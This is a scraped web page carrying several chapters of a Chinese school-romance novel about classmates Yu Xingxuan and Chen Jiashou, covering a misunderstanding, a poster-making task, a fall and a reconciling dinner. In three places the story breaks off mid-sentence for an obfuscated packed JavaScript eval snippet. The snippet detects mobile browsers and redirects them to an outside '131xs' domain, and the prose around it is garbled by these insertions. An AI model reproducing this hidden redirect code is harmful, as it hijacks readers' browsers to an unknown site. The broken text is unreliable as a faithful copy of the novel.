“你在写什么啊,神神秘秘的。”李安蓝也没在意,“我是想问你今天的物理作业是什么。” 喻星旋告诉她后,想起作业还没抄到黑板上,合上草稿本起身。 放下粉笔,她忽然意识到,今天班里自习课前的秩序似乎比以前乱很多。 以前的这个时候,陈嘉授一般会到讲台上维持秩序的。 喻星旋借着转身的瞬间,目光探向最后一排。看到他单手支着身体,垂眼写东西,这个姿势显得肩部线条更加瘦削和料峭。 他的心情已经差到懒得维持秩序了吗? 可他们之间就像隔了一层无形的玻璃,她只能看着他,却什么都做不了。 窗外暴雨滂沱,教室内的空气却闷热黏腻,让人焦躁。 喻星旋坐回去,尽量让自己平静,加快了速度,在提纲上列着内容。 月考涉及的内容不算多,她把政史地学习方法和章节要点列在纸上。 这张纸不是给陈嘉授的。喻星旋准备在晚自习开始前,找个机会跟他聊聊。 但为了防止自己不能对答如流,或者被他问住,她要把这些知识提前熟悉一遍。 她做这件事,绝对不是因为喜欢他,也并非是不在乎他和沈艺棠的绯闻。 只是因为……陈嘉授是她的竞争者,她帮助竞争者,也是为了她自己。 毕竟,她这次考前那么认真地复习过,用了十成的功力,只打败了一个心不在焉的人。显得她并不完全的胜利,都是那么胜之不武和师出无名。 就当是对失意者的一丝奇怪的怜悯吧。 放学了,铃声响起,所有人都涌向前门。 喻星旋顾不上动作突兀,她回头看着陈嘉授的方向,她还有几句话没写完,如果他现在去食堂,她今晚都没机会单独面对他。 但幸好陈嘉授一直坐着没动。 很快,班里就只剩下他们二人。 喻星旋已经拜托李安蓝帮她带一个饭团。她掐了掐裤缝,迅速把纸上的内容浏览一遍,长长地吐出一口气,向教室后走去。 男生向后靠在墙上,眉眼被白炽灯光镀上一层阴翳。 而就在喻星旋即将接近他的时候,他忽然站了起来。 喻星旋远远地察觉到他可能要走,连忙加快了步伐追,一个没注意,膝盖撞到了课桌,她疼得直吸气,一瘸一拐地,终于赶在陈嘉授整理好书包之前站在了他面前。 陈嘉授眸光闪了闪,没什么温度道:“有事吗?” 离得近了,喻星旋才发现,他眼下沉着淡淡的青灰色,显然最近没休息好。 习惯在远处观望久了,真正站到他面前时,喻星旋几乎能听清自己的心跳声。 为了表示自己不是来他面前炫耀胜利,她绷紧了脸,用比他还平淡的,毫无起伏和波澜的声音说:“你有时间吗,有事想跟你聊聊。” “下次吧,我晚上不在,有点事赶时间。” 说完,他看了一眼手腕上的表,漠然地拎起书包。 …… 事不关己得,像面对一个发传单的路人。 难堪和尴尬一寸寸蔓延。 喻星旋站在空无一人的后门边,整个人呼吸都困难。 好像从小到大,都没有这么狼狈过。 帮堂姐给他塞纸条的那天都没有。 来找他之前,喻星旋设想了许多种开场白,却没有一种情况是陈嘉授连听都不想听。 沉默地站了片刻,意识到再过会就有同学回班,喻星旋揉了揉被撞痛的膝盖,回到自己的位置上。 她撕下那张列得满当当的提纲,想捏成一团又不舍得,毕竟她一笔一划写了好久。 喻星旋把窗户打开一条细缝,风夹杂着凉凉的雨丝扑到脸上,吹散积聚的温度。 她用额头抵着窗沿,她好不容易鼓起的勇气,和还没开始多久的暗恋,就在这个夜晚,悄无声息地结束了。 …… 之后的三天,陈嘉授都没来上学。 连一贯消息灵通的李安蓝都打听不到是为什么:“喻星旋,你说陈嘉授到底去哪里了啊?” 商芝琳:“你是走投无路了么?喻星旋怎么可能知道,她什么时候关心过他一点。” “别跟我提他”——这话刚到喻星旋嘴边,又被她止住。 她以后要戒除陈嘉授对她的影响,第一步,就先从对旁人口中的他脱敏开始。 不止是不理睬,连情绪波动都不要再有。 但李安蓝和商芝琳的讨论声,还是无一遗漏地往她耳中灌。 “诶,沈林风都不知道吗?” “他应该知道吧,只是谁去问他都不说。就连班里跟他走得比较近的那几个也不知道。” “……” 喻星旋坐立难安,只得拿上水杯走出去接水。 走廊上,她又碰到了白峥。 “喻星旋,你今天放学去书吧吗?我们可以一起去……不过你别想多哈,不是只有我们两个人,还有我几个朋友。” 白峥依旧笑得爽朗,两颗虎牙带着点傻气。喻星旋不是傻子,更何况她还比常人敏感,几乎在白峥见她的第一面,她就从那个惊艳的眼神里看出了他对她的好感。 所以上次在超市,她也是觉得他应该不会拒绝她的要求,才跟他打听陈嘉授有没有分手。但她确实不适合做坏人,那阵负罪感好几天后才平息下去。 白峥跟沈林风那群人很熟,他大概率也知道陈嘉授的情况。 但她绝不会再利用别人的喜欢,让那天的事发生第二次。 “不了。”喻星旋笑了笑,“我还是比较喜欢自己一个人。” 不知道白峥能不能听出她的一语双关。她没再说别的话,经过三班门口,跟他挥了挥手。 再往前走,喻星旋下意识地看了一眼二班紧闭的后门,脑海中闪过许多不愿回忆起的画面,心底忽然升起一股不知是对陈嘉授还是对她自己的反感。 喻星旋冷笑了一声,快步回教室。 她决不允许自己犯同样的错误,和在一个人身上跌倒两次。 就像对人类缺乏信任的猫。主动一次,没得到回应,就再也不会伸出爪子。 - 一个周末 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818988|175451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去,自从上周那场秋雨后,空气中就开始渗出丝丝凉意。 周一的清晨,喻星旋上学路上经过便利店,买了金枪鱼饭团和柠檬茶当做早饭。 身边有女生叽叽喳喳地讨论上周的综艺和演唱会,男生聊着电脑游戏。 时不时还能听见邱主任检查仪容仪表的怒吼:“你校服呢!为什么不穿?……穿里面了啊……你进去吧,浪费大家时间,下次主动把外套拉链拉开!” 喻星旋不爱参于其中,却喜欢不作声地观察外界。 那天她的确没骗白峥,可能是因为她从小是奶奶带大,身边缺乏同龄人,而奶奶再爱她,她们之间也存在着代沟,所以她早就习惯了跟自己相处。 一个人走路时可以天马行空地幻想,听四面八方传来的声音,甚至盯着天上的某一朵云出神。 她过于沉浸在自己的世界,就连有人推着车从身后走近也没察觉。 “走路还吃东西,也不怕胃疼。” 口中的饭团还没嚼碎就咽下去。 明明知道是谁,可是身体比理智先做出了反应,扭头看过去。 陈嘉授,和那天在一考场的,他的另一个朋友。 两人迈着闲庭信步,已经跟她走在了同一水平。 “……” 无论陈嘉授上周对她什么态度,都必须承认,他的相貌是让人挪不开眼的出众。 他黑发剪得更短了点,眉眼清湛且明亮,走动间,带起身上清新好闻的松木香。 陈嘉授一改上周离校时的潦草疲惫,春风得意得刺眼。喻星旋只看他一眼,就知道他身上那种与生俱来的骄傲又回来了。 看来她上周想施舍给他的那点好心,也纯属多此一举。 喻星旋表情冷得像冰,霜冻般的目光扫过他,平静地别过头。 面无表情地加快了脚步。 刘沐贱兮兮的:“哟,阿授你又怎么惹到人家了。” “我惹她?” “那不然呢,你这么大一人杵这里,一句话都不跟你说?” “……” 陈嘉授推着单车不方便给他一脚,凉飕飕地甩过去一记眼刀。 他视线远远地落在那道已经缩成一个小点的身影上。片刻后,他似乎想起什么。 舌尖扫过后槽牙,很轻地笑了声,“还挺记仇。” - 陈嘉授回学校,半个班的视线几乎都聚焦在了他身上,众人都对他去了哪里表现出天大的好奇。 沈林风一进班级,就给了陈嘉授一个夸张的拥抱:“你特么可算是来了!” 不出所料,被陈嘉授一把推开。 他倒也习以为常了,边坐下边抱怨:“授,你知道吗,你不在的几天,我每天的日子都过得水深火热。” “你那是因为没作业抄。” “……谁说的,离了你照样大把作业抄好吧?”为了证明自己,沈林风熟练地找其他人要了张试卷,顺口说道,“对了,我上周嘴可严了,你去比赛的事谁来问我都没说。” “算你有孝心。” 沈林风笑着让他滚:“不过阿授,比赛又不是见不得光,你为什么非要瞒着别人啊。” 上周末,陈嘉授去京市参加一个全国性的无人机比赛。 因为准备比赛和月考撞在一起,陈嘉授基本放弃了所有需要花时间背诵的科目,成功从全级第一倒退了五十多名。 这还没完,当天下午,组委会临时通知,他的器材参数有一处不合格。必须在比赛前进行调整,否则会被取消参赛资格。 他着急回家,请了三天假,终于赶在最终审核之前修改了模型。 虽然过程曲折,但比赛很顺利,他没什么悬念地拿了冠军。 陈嘉授很淡地勾了下唇,一副淡定而运筹帷幄的样子:“事以密成。” “什么意思?” “不确定的事,没必要搞得人尽皆知。” “还不确定啊?”沈林风咋舌,“这种比赛,你不拿冠军的次数一只手都能数过来。” 沈林风觉得,虽然从小就认识,但他这个好友的行事作风,显然比他们同龄人成熟太多。 可能是因为家教吧。沈林风曾经听爸妈说过,陈嘉授太姥爷的那一脉,半个家门都是老学究,其中也不乏有人在各行各业做出突出贡献。 他爸妈虽然也经常恨铁不成钢地拿他跟别人家的孩子比,但作比较的人中从没有陈嘉授。 原因是陈嘉授情况特殊,他们管那叫家学渊源,说陈嘉授身上沉淀的,是几代人的积累,不是努努力就能赶得上的。 他爸妈对他倒没那么大要求,只要作业写完,少调皮捣蛋,最后拼一把随便考哪个985大学,这就算是烧高香了。 沈林风抄着作业正走神,冷不防的,旁边的人转着笔,漫不经心道:“问你个事。” “……说。” “这几天,都有谁找你问我去哪?” 17. 撞上去的 . “……” 沈林风一下没反应过来,平时打听陈嘉授的多了,可他什么时候在意过。 他莫名其妙道:“怎么,你还想挨个给他们颁一面锦旗?” 虽然如此,但听到陈嘉授问,沈林风还是放下笔,依着印象报了几个人名:“周四体育课你没在,王辑、许永辉他们组不起队,来找我问你……还有外班的几个女生,有个叫秦雅书的你记不记得,她之前也来过。” “谁?” “……算了,一看你就不记得。” “没了?” “你还嫌少啊?别的忘了。”沈林风没什么好气,觉得他简直是在耽误自己抄作业,重新拿起笔,多问了句,“你问这个干嘛。” 陈嘉授正在转的笔倏地拢在掌心,神情淡下:“没事,随便问问。” - 早上跑完操回班,物理课前,老王宣布了两件事。 一件是年级举办板报评选。 另一件,则是备受瞩目的长南中学秋季运动会将于下周三周四举行。 前面的板报大家还没什么反应,一听到运动会,立刻群情激动,激烈讨论起来。 老王拍拍手,把报名表和手册交给体委沈林风,让他在本周四前搞定报名的任务。末了,又提醒大家:“有没有同学自告奋勇办板报的?” 讲台下一片沉默。 见没有人,老王就开始抓壮丁。先点了班里的语文课代表负责整理文案,随后又让人推举画画和写字的人。 沈林风一拿到报名手册就翻起来,忽然感觉陈嘉授视线落在他身上:“我靠,你看我干什么。” “板报缺个人画画。” “你不会在打我的主意吧?我刚帮你应付完他们,不带这么恩将仇报的!” 沈林风向后做出一副自卫的姿态,没坐稳,差点从板凳上摔下去。 很大的一声动静,全班都看过来。 老王也把目光投向后门边,笑容温和:“陈嘉授、沈林风,你们两位有想法?” 沈林风没想到他的好兄弟这么快就把他卖了:“沈林风有,他说他学过画画。” 沈林风不想给自己找事,立刻摆手,说自己就小时候学过三个月。 王世富却笑呵呵的:“三个月也够用了,又不是办画展。” 沈林风接下了这个任务,但他又不想看陈嘉授那么顺利就得逞:“好吧老师,我出版报。”又瞪了陈嘉授一眼,“不过,得让陈嘉授给我打下手。” 全班爆笑。老王说:“你们自己协商。” 只差一个写字的人了。 李安蓝凑到喻星旋耳边:“喻星旋,我觉得你可以哎。” 喻星旋每天都会把布置的物理作业写在黑板上,跟其他课代表歪七扭八的粉笔字放在一起,一对比就显得特别赏心悦目。 “我不行。” 李安蓝问为什么,她头都不抬:“麻烦,浪费时间。” 老王的视线在教室内来回扫过,寻找合适的目标。 喻星旋把头埋得更低。 老王一锤定音:“没有人吗?那就课代表吧,同学们公认你字写得最好!” 被赶鸭子上架,喻星旋很难当众拒绝。 但她真的不想跟陈嘉授合作,只想多拉几个人早点结束这项任务:“不过老师,时间太紧张,我一个人可能写不完。” 老王摸了摸下巴:“是比较急,我再找个同学跟你一起写吧。” 后门边一道低冽嗓音响起,没什么起伏,公事公办一般:“我帮她写。” 喻星旋脊背有电流窜过,跟早上校门口那道声音出自一人,她不用转头都能分辨出来。 讲台下有些躁动。李安蓝看上去比她本尊激动多了:“哎呀,我就说陈嘉授乐于助人吧。” “……” 喻星旋一动不动地坐着,不表态,神情冷淡。 李安蓝被她冻到,悻悻地住了嘴。 她寻思着以前,喻星旋也没这么讨厌陈嘉授啊。 最多就是对他不感兴趣而已。 “具体怎么搞,陈嘉授你们四个课后商量一下。大家把课本拿出来,咱们这节课讲新课。” - 板报这两天就要验收。语文课代表蒋英杰中午去学校机房查资料、打印,沈林风参考现成的模板,先把图案的框架搭好,顺利的话,下午晚自习前就可以把内容抄到黑板上。 分工是陈嘉授安排的。他三下五除二说完,问大家:“有异议吗?” “速战速决吧。”喻星旋双臂抱在胸前,淡淡道,“大家时间都挺宝贵的。” 话里带刺得太明显,陈嘉授刚眯了眯眼,下一秒,更气人的话从她那张淡红色的唇间冒出来: “还有别的事么?没有我先回去了。” 说完她转身就走。 留下原地不敢吭声的蒋英杰,和极其乐意看陈嘉授吃瘪,正捂嘴偷笑的沈林风。 中午几人各自准备了下。下午晚自习前有一小时的晚饭时间,刚好拿来写板报。 沈林风提前把黑板分割成几大板块。他们在左边写字,他在右边画画,两不耽搁。 陈嘉授走到喻星旋身边:“你写下面的黑板。” 他话音刚落喻星旋就离开,把自己的板凳搬来,她拿起粉笔和A4纸,踩了上去,像故意跟他对着干一般,直接从最上面的黑板开始落笔。 从头到尾,当陈嘉授是空气。 陈嘉授又被气笑了。 摆明了跟他唱反调是吧。 “喻星旋,我说话你听到没?” 回答他只有沉默。 他拧着眉,上下缓缓打量着她,不知怎么被勾出了开会那天故意坐她身边的逆反心理:“行,你倒是能沉得住气。” 粉笔敲击黑板的“嗒嗒”声,如同挑衅的讯号。 陈嘉授收起笑,极为刻意地凑近了,故意用只有两个人能听清的声音说:“给我塞情书那天,怎么就那么沉不住气——” 脑海中嗡的一声,喻星旋力度没掌控好,手里的粉笔崩断了一截。 “都说了不是我写的,你有完没完?” 喻星旋低头怒视他,却从他眼底读出一丝促狭。 他不知道是什么时候站得离她这么近的,两人的校服边角甚至若有若无地贴在一起。 由于高度的差距,陈嘉授只能被迫仰头看她,但她踩在凳子上,脚不着地,俯视也有些气势不足。 甚至,因为此刻比他高出二十公分,比起原先,他的手臂离她更近了,离她的腰更是只有咫尺之近。 这姿势让她有种隐隐的被掌控感,很不舒服。 但如果说“你离我远一点”,又很奇怪。 “你下来。” “不下。”她面对着黑板,试图用不耐烦的语气把他赶走,“你烦不烦,别管我。” 两人正僵持不下,靠门的那一侧忽然响起沈林风的声音,还带着拐弯,显得十分促狭:“阿授!门口有人找!” 喻星旋松了口气。视线随着陈嘉授的背影探过去,居然看到了秦雅书。 “陈嘉授,你上个星期去哪了啊?” “私事。” “你还没吃晚饭吧,待会儿一起去吃点儿?” “不饿,有约了。” “……”秦雅书像被噎了一下,没话找话,“诶,你们班正在出板报啊?能让我观摩下吗?” “不太方便。” 喻星旋拳头硬了,陈嘉授的每个回答都值得对面给他一拳。但偏偏秦雅书不为所动,仍旧用温柔体贴的嗓音关心道:“你月考好像考得不太好,是学习遇到困难了吗……” 沈林风拍拍陈嘉授的肩,示意他让一让:“你们聊,我去个厕所。” 喻星旋捏着粉笔,冷笑了一声,很想替陈嘉授回答秦雅书。 他就是这么一个早恋都会影响成绩的人,真不知道你在喜欢他什么。 分心中,喻星旋脚下的板凳忽然剧烈摇晃起来。她立刻去抓黑板边框,没抓住,整个人失去平衡摔了出去。 肇事的蒋英杰浑身僵硬地站在原地,除了惨叫发不出任何声音:“啊————” 眼前天旋地转,几乎是转瞬之间,喻星旋的下巴撞上一个坚硬的物体,疼得眼泪都要出来。 她没有再继续下落,只是摔下椅子,落点则是另一个人的身体。 同样青涩。温热、带着硬度。 对方的校服拉链刮过她的唇瓣,胸前透着热度,和不断放大,充斥感官的松木气息。 …… 摔进男生怀里的时候,她才意识到,刚才撞上的坚硬,是陈嘉授的锁骨。 喻星旋整个人被烫熟。 甚至还没站稳,就已经忙不迭地把他推开。 “谢……对不起……不是,谢谢。” 她六神无主,匆匆低着头,夺路而逃。跑路时,手中还攥着刚才的粉笔。 喻星旋一路跑进了走廊尽头的女卫生间,途中好像经过了从男卫出来的沈林风,他还跟她说了句什么,但她实在管不了那么多了。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818989|175451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丢掉粉笔,拧开水龙头,把手浸在流动的冷水里,一直到手麻得没知觉,鼻腔酸胀得要裂开。喻星旋憋得眼圈泛红,努力不让眼泪掉下来。 让她摔到地上摔死算了,为什么要让一个极度爱面子的人,经历摔到别人怀里的尴尬。 而且那个人还是陈嘉授。 他就非要那个姿势接她。 她的胸都压他身上了。 还是撞上去的。 ……好疼。 击垮一个坚硬的人,往往只需要一件微不足道的小事。那年的喻星旋只有十五岁,是许多人眼中成熟懂事的小大人,从来不肯在别人面前露怯。只是被一个喜欢过但现在很讨厌的男生接了一下,就感觉世界都要塌了。 她花了十几分钟,收拾好心情,推门出去时,走廊窗外的天色已经全部暗了下来。 “喻星旋?” 喻星旋戒备地抬眼,居然在洗手间外的楼梯口见到了沈林风。 “怎么是你?” “我正要去吃饭。”沈林风神情不太自然,抬手挠了挠后脑勺的卷发,“这不是刚好遇上吗,一起吧,刚好我请你。” 不回教室,喻星旋求之不得,但她板着脸,丝毫没表现出多高兴:“板报怎么办?” “你放心,板报交给他们,我们只管吃。” “不太好吧。”喻星旋迟疑,“我回教室拿一下钱。” “不用!说了我请就是我请!” 沈林风今天殷勤异常,喻星旋一路上几次看着他欲言又止,最后一起走进了校外一家支着红白雨棚的日料店里。 “喻星旋,你来过这家店吗?” 喻星旋摇头:“没。” “那你直接点他们家鳗鱼饭就好。” “有这么好吃?” “那当然,鳗鱼饭是他家招牌。”沈林风倾力为她推荐,“阿授巨特么爱吃鳗鱼饭,长南每一家鳗鱼饭都被他吃了个遍,没有一条鳗鱼能活着离开他的胃,但他说最好吃的还是这家。” 听他这么说,喻星旋想尝试一下鳗鱼饭的念头瞬间打消,嘴角向下撇:“老板,我要豚骨拉面,中辣。” 沈林风:“……” 特么的。 他就说陈嘉授把人惹着了吧,也就他那个犟嘴死不承认。 虽然他知道陈嘉授从小就嘴硬,总是目空一切的样子,但这次他居然犟得脸都红了! 不过,沈林风也是受人所托。帮他把人约过来就能白嫖一顿晚餐,沈林风觉得这笔买卖特划算。 趁着陈嘉授还没来,沈林风打算争分夺秒多损他两句:“真是太过分了!” “……你说什么?” 喻星旋再度警觉起来,她现在如同一只惊弓之鸟,听到什么都会往最担心的那个方面联想。 她知道这个年纪的男生,总爱把一些下三路的东西挂在嘴上,宋朗浩不就是个活生生的例子。 陈嘉授最好不要把今晚的事向外透露一个字——如果他还是个人的话。 “陈嘉授啊!你知道他跟来找他那姑娘说什么?人家关心他才问他月考为什么考得不好,你猜他怎么回?” “……” 沈林风怒道:“他说,你为什么不先问问自己?!喻星旋,你听听他说的是人话吗?” “……” 如果不是亲手给他送过纸条,或是鼓足勇气到他面前,却被以一句“没时间”搪塞,喻星旋还可能会因为沈林风夸张的演技会心一笑。 但今天看到秦雅书后,她却顿生了一种兔死狐悲的悲凉。 所有借着玩笑话的夸张的谴责,其实都是因为并不觉得这背后存在问题。 “我觉得他真的很不尊重人。” 沈林风没想到喻星旋来真的,愣了一下,下意识地便给他辩白:“其实他初中不是这样的,是当时我们有个同学……” “不是哪样的?” 一道身影穿过日料店狭窄的过道。 视线触及陈嘉授的一瞬间,喻星旋立刻升起一种被愚弄的愤怒。此时她已经不想跟他们任何一个人争辩,站起来面无表情地向店外走。 沈林风霍地站起来:“阿授,你拦一下她——” “对不起啊。” 背后骤然传来这句话,喻星旋像发条停止的娃娃,一动不动地停在了原地。 因为,这次的对不起,好像不同于他曾经任何一次的敷衍和漫不经心的“抱歉”。 男生声音很低,他几乎没用过这么轻的声线说话,有些不适应地清了清嗓子:“当时情况着急。” 18. 软的 . 傍晚那阵鼻酸不受控地涌上来。 但也只有一瞬间。而后,喻星旋迅速意识到他刚才说了什么内容,惊恐地瞪大了眼睛:“好了!不要再说了!” 他是有什么毛病吗?她从凳子上摔下来,情况当然紧急。 但有什么必要再提醒她一遍,怎么他还希望她当着沈林风的面再谢他一次吗? 陈嘉授面上似乎划过一丝不解,轻抬了下眉。 “……” 意识到她刚才反应好像过激了,稍微冷静下来一点,喻星旋想,不管陈嘉授是不是在暗示她什么,她都得装作这事不存在,没发生,不然显得跟她很在意这个事情一样。 只是撞了一下而已,她都不介意给施秦做人工呼吸,跟陈嘉授撞一下又能怎么。 ……况且陈嘉授又没有。 这个东西,谁没有谁尴尬。 喻星旋勉强控制了情绪,决定不再提这件事,走到前台告诉老板:“豚骨拉面不要了,麻烦您帮我退掉。” “留着。” 一只戴着手表和手串的左手忽然出现在视野,往柜台上按了一百块钱。 陈嘉授:“再加份鳗鱼饭。” 他站在她身后,隔了段距离,但左臂抵在柜台上,刚好把她的去路挡住。 喻星旋要被气笑了,她连拒绝他请客的权利都没有了? 他们之间又没有互相亏欠什么,谁要他这点自我感动的好心。她冷笑了声,索性转身靠在柜台上,一副要跟他死磕到底的模样:“你点吧,你点了我也不吃。” “喻星旋。” 老板把找的钱给他,他道了句谢,却没收起来,左手依然用力按在柜台上。 他缓缓看了她几秒。 “不是说要跟我聊聊?” “……”像有道电流从头穿到脚。喻星旋想都不想地反驳,“我什么时候说过。” “上周二。” 喻星旋扭头:“不记得了。” 陈嘉授并没问她“为什么不记得”,望着她,缓缓重复完自己的话。 “上周二,我晚自习请假,你说有事要找我聊。” 指向性如此明确,喻星旋想装傻都不行。 但她就连想起那个下暴雨的晚上,都要做半天心理建设。陈嘉授主动提起,她更是感觉肺里的氧气都被挤压抽空。她有点赌气地:“我凭什么还记得那么远的事?” “那你就现在想。” 他像个专制独裁的暴君,完全不给人任何回避的余地。 “我想问你晚自习班主任在不在学校,行了吧,那天我有事找他。”喻星旋语气很冲,一下没控制住音量,柜台旁边的人纷纷惊讶地扭头看着他们。 “他在。” 似乎是意识到自己态度有些强势,陈嘉授不由地放缓了语气,略略俯了俯身跟她视线接近。 那天他跟老王请假时,对方还问他带没带伞。说自己也没带,否则可以借给他。 “他没带伞,所以等雨停了才走。” 面前的女生仍旧绷着脸,不高兴写在脸上,像是丝毫没听进他的解释。她鼻尖上那颗淡色的小痣撞入视线,陈嘉授大脑空了一下,也不知怎的,本来没想说的话忽然冒到嘴边:“那天——我也没带伞,淋够呛。” 撒完这个谎,他自己都有点恍惚。 他那天没出教学楼就遇到一个朋友,借给他一把多的伞。其实一滴雨都没淋到。 想象了一下陈嘉授被淋成落汤鸡的画面,喻星旋唇角这才松了松。 她以为自己的表情变化也不明显,紧接着就听到他问:“解气了?” “……” 喻星旋重新把脸绷得紧紧的。 她特别不喜欢他这种一切尽在掌握的姿态,就好像她的反应也在他的计划内一样。 “喻星旋,你的拉面上了,快来吃啊!”这时,沈林风远远的冲她招手。 当着这么多人,喻星旋不想跟他吵架。丢下一句“回去我还你钱”,快步朝沈林风走去。 来到四人桌边,喻星旋率先在沈林风对面坐下。 谁要跟陈嘉授面对面。 喻星旋抱着碗,埋头吃起来,眼观鼻鼻观心,她决定快速解决掉,吃完就走。 余光瞥见沈林风旁边的椅子被人拉开,然后坐下来。 沈林风:“阿授,你们刚才在聊什么,好大一股火药味。” “聊,”陈嘉授顿了顿,伸手拆了一双筷子,有意无意地看了她一眼,“上周我去京市比赛的事。” “……”喻星旋筷子一顿,面条滑进碗里。 沈林风:“然后呢?” “刚才说到我准备了很久,月考那阵刚好撞上比赛。” “上周二是临时接到通知,要改飞行器参数。” “后面请的几天假,也都是在处理这件事。” “……” 喻星旋默不作声地听着,内心咯噔一声,面上却什么都没表现出来。 原来他说的“当时情况着急”是这个当时,那声对不起也是因为这个。 但她完全误解了他的意思,差点闹出笑话。 面前的桌子忽然被人点了点。喻星旋回神,没什么好气地抬起头,眉心皱了皱。 “干什么。” 陈嘉授迎上她视线:“满意吗?” 谁跟他要解释了。 喻星旋攥紧了筷子,正要发作,陈嘉授忽地补充了句:“我说这家店。” “……”她故意用筷子拨了两下拉面,冷哼了声,“不怎么样。也就一般。” 碗里浓白色的面汤晃动,喻星旋的心情后知后觉地不平静起来。 原来是去比赛了。可她没跟他要解释,刚才在柜台也完全没谈过这个话题。 那他为什么要跟她解释,他是看出什么了? 静了两秒,沉稳冷冽的男声忽然从斜对面响起。 “我这次来不及复习政史地。” “所以呢。” “所以,”陈嘉授意味深长道,“期中考试你小心点儿,别高兴得太早。” 所有信息连起来,喻星旋从其中提取到了关键的一点。那就是在他眼中,他的月考失利跟沈艺棠一点关系都没有。纯粹是因为飞行器比赛占去了他的大多数精力。 “你也别高兴得太早。”喻星旋不服输地抬头,“难道你除了物理,还有哪科考得比我高。” 沈林风弱弱地咳了一声:“……你们要不改天再打?我还在场呢。” 神仙打架凡人遭殃,他一辈子都考不到那个分数,为什么还要往他心口扎刀子! “抱歉。”喻星旋一改之前的呛声态度,微微对他笑了笑。 因为沈林风的打断,她刚好不再说话,三口并做两口地吃完,放下筷子匆匆起身。 纤薄的身影消失在门边。 陈嘉授收回视线,不咸不淡地:“她还怪给你面子。” 沈林风有些无语,不明白这哥们怎么忽然变得阴阳怪气:“……不是你让我去叫她来吃饭吗?你去叫她当然也给你面子。” “所以你现在吃的谁的?” 沈林风:“……” 这人心眼啥时候变这么小了。 - 十月份的长南,秋日的晚风是冷的,喻星旋把校服拉链拉开,任由凉风灌进领口,浑然不觉。 心里被各种莫名的想法和事物塞得很满。 她一定不会再重蹈覆辙地喜欢上陈嘉授。 但现在,好像也没那么讨厌他。 她是不是太容易就原谅他了。 但至少,他不是因为早恋影响成绩。在意识到这一点时,喻星旋心目中,那个亲手被他打碎的形象,又被他重新拼凑了起来。 这个发现,让她上楼时的脚步都轻松了许多。 想起她的凳子还放在后黑板旁。喻星旋经过二班后门时,看到虚掩着没上锁,犹豫了一下推门进去。 一抬眼,高处的黑板,已经全部被陈嘉授写满。 只留下下排,她一伸手就能够得到的地方。 喻星旋收回视线。后门边忽然涌入一阵风,把沈林风桌上的纸吹到地上。 喻星旋弯腰帮他捡起,发现是运动会项目的登记表。 她端详了片刻,想起晚饭时,沈林风曾提议她参与一下,喻星旋拿起笔,在上面加上自己的名字,又放回了原位。 喻星旋在后排找了很久,没有发现自己的板凳。 她只得暂时带着疑心离开,正打算回去问一下李安蓝,就发现她的板凳好端端地回到了原位。 李安蓝一见她就说:“喻星旋,你知不知道,你出去吃饭那会儿,陈嘉授把你的凳子还回来,还用湿巾帮你擦干净了……” 想起今早喻星旋的不情愿,李安蓝的话戛然而止:“——我忘了,以后还是少跟你提他。” 喻星旋拉开板凳坐下,不适应地挪了挪:“没事,你想提就提吧。” - 晚自习开始前,陈嘉授和沈林风才回到教室。 沈林风吃完晚饭后,又去超市买了罐冰可乐,“咔嚓”拉开拉环,褐色的气泡溅出来。 陈嘉授满脸嫌弃:“说了多少次,别把饮料溅我桌上——” 他的手伸进桌斗,拿出纸巾的同时,一卷纸币随之掉出。 是二十块。 但他从来不会在课桌里放钱。视线越过一个个背影,落在教室另一侧。黑眸眯起。 “我靠!”沈林风不知看到什么,开始剧烈摇晃他的手臂,“阿授你快来看看啊,喻星旋运动会报了什么项目——” 陈嘉授眉心一跳,视线落在纸上,看到名单最下面一行字: 姓名:喻星旋。 项目:实心球。 …… 沈林风实在是太震惊了:“阿授,就喻星旋的小身板,是她扔球还是球扔她啊!” “你说我要不劝她换个项目,我刚才也是随口一提,万一闪着胳膊,我不就成罪人了吗,她爸妈要是来学校找我,我怎么跟他们交代……” 一些不久前,和更久前的片段,忽然闪进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818990|175451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了陈嘉授的脑海。 他捏了捏眉心,制止沈林风的聒噪:“别多此一举了。” “……什么意思?” 沈林风偏了偏头,看到陈嘉授唇角微勾,带了点兴味的:“你怎么知道人不行。” 真是莫名其妙。 沈林风没多想,不过也是,实心球而已,没什么危险系数,就算扔个两三米,最坏的结果,不也就是被人嘲笑两句嘛,转头就忘了。 只要喻星旋不介意,那他也没什么说的。 晚自习的准备铃打响。 陈嘉授打开书包夹层,把老板找回的钱,和那二十块一起放进去。手指伸过去的同时,他包里有个四四方方的东西忽地戳到皮肤。 反应了会儿他才记起,月考后的第二天,彭骏一给他带来一盒祛疤的特效药膏。 但后来一忙起来,他就把这事抛在了脑后。 